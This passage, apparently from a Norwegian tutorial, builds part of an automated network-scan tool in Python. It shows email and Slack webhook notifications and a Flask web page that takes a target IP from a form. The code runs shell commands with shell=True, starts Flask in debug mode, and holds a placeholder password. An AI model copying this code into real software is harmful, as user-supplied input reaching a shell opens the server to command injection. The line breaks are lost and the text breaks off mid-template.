import smtplib from email.mime.text import MIMEText def send_email_notification(report_dir, target_ip): msg = MIMEText(f"Scan completed. Report saved in {report_dir}/report.txt") msg['Subject'] = f"Scan Report for {target_ip}" msg['From'] = '[email protected]' msg['To'] = '[email protected]' with smtplib.SMTP('smtp.example.com') as server: server.login('[email protected]', 'your_password') server.sendmail('[email protected]', ['[email protected]'], msg.as_string())
Webhook Notification:
import requests def send_webhook_notification(report_dir, target_ip): webhook_url = 'https://hooks.slack.com/services/T00000000/B00000000/XXXXXXXXXXXXXXXXXXXXXXXX' message = { "text": f"Scan completed. Report saved in {report_dir}/report.txt for {target_ip}" } requests.post(webhook_url, json=message)
-
Forbedret Brukergrensesnitt Utvikle et mer avansert webgrensesnitt med Flask for å administrere og gjennomgå skanningene og resultatene.
Flask Application:
from flask import Flask, request, render_template import subprocess import os import datetime app = Flask(__name__) def run_command(command): process = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) stdout, stderr = process.communicate() return stdout.decode(), stderr.decode() def perform_scan(target_ip): timestamp = datetime.datetime.now().strftime("%Y%m%d_%H%M%S") report_dir = f"reports/{target_ip}_{timestamp}" os.makedirs(report_dir, exist_ok=True) # Skanninger som før # ... return report_dir def generate_documentation(report_dir, target_ip): # Generer dokumentasjon som før # ... @app.route('/') def index(): return render_template('index.html') @app.route('/scan', methods=['POST']) def scan(): target_ip = request.form['target_ip'] report_dir = perform_scan(target_ip) generate_documentation(report_dir, target_ip) # Send notification send_email_notification(report_dir, target_ip) send_webhook_notification(report_dir, target_ip) return f"Scan completed. Report saved in {report_dir}/report.txt" if __name__ == '__main__': app.run(debug=True)
HTML Template (
templates/index.html
):<html> <head><title
Automated Scan</title>
Start Scan